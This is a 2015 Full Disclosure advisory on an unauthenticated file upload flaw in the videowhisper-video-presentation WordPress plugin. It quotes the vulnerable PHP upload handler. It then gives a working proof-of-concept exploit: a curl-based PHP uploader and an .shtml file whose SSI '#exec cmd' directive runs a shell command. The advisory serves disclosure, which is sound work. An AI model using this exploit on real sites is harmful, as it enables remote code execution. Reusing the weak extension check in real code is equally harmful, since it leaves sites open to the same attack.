full-disclosure - [FD] Remote file upload vulnerability in wordpress plugin videowhisper-video-presentation v3.31.17

Open Source and information security mailing list archives

Message-id: <DE70A83E-3C00-4E96-B79F-7E403BE2B0C6@me.com>
Date: Tue, 31 Mar 2015 20:16:26 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: fulldisclosure@...lists.org
Subject: [FD] Remote file upload vulnerability in wordpress plugin
 videowhisper-video-presentation v3.31.17

Title: Remote file upload vulnerability in wordpress plugin videowhisper-video-presentation v3.31.17
Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
Download Site: https://wordpress.org/plugins/videowhisper-video-presentation/
Vendor: http://www.videowhisper.com/
Vendor Notified: 2015-03-31 won’t fix, http://www.videowhisper.com/tickets_view.php?t=10019545-1427810822
Vendor Contact: http://www.videowhisper.com/tickets_submit.php
Advisory: http://www.vapid.dhs.org/advisory.php?v=117
Description: from the site 
"VideoWhisper Video Consultation is a web based video communication solution designed for online video consultations, interactive live presentations, trainings, webinars, coaching and online collaboration with webcam support. Read more on WordPress Video Presentation plugin home page."

Vulnerability:
From wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php Allows various remote unauthenticated file uploads, among the file types is html where the last 4 characters are only being checked in a file name to match which types are allowed. Because of this .shtml can be passed through and remote code execution if SSI is allowed. The code does not do any user access validation and therefore anyone can upload the following files to an unsuspecting wordpress site: .shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps 
The 
if (strstr($filename,'.php')) exit; 

can be by passed by using the extension .Php but the file extension check would allow files like test.Php.shtml
<?php 
if ($_GET["room"]) $room=$_GET["room"]; 
if ($_POST["room"]) $room=$_POST["room"]; 
$filename=$_FILES['vw_file']['name']; 
include_once("incsan.php"); 
sanV($room); 
if (!$room) exit; 
sanV($filename);
if (!$filename) exit; 
if (strstr($filename,'.php')) exit; //do not allow uploads to other folders
 if ( strstr($room,"/") || strstr($room,"..") ) exit; 
if ( strstr($filename,"/") || strstr($filename,"..") ) exit; 
$destination="uploads/".$room."/“; 
if ($_GET["slides"]) $destination .= "slides/“; 
$ext=strtolower(substr($filename,-4)); $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps”);
 if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename); 
?>loadstatus=1
CVEID: TBD
OSVDB: TBD
Exploit Code:
	videowhis_poc.php 
         <?php

	 $uploadfile="upexp.shtml";
	 $ch = 
	 curl_init("http://target_site/wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php");
	 curl_setopt($ch, CURLOPT_POST, true);
	 curl_setopt($ch, CURLOPT_POSTFIELDS,
	          array('vw_file'=>"@$uploadfile",'name'=>'upexp.shtml','room'=>'.'));
	 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	 $postResult = curl_exec($ch);
	 curl_close($ch);
	 print "$postResult";

	 ?>

	 upexp.shtml

	 <html>

	 <!--#exec cmd="/usr/bin/date > /tmp/p" -->

	 this is html
	 </html>

	 The executeable should be located in wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads

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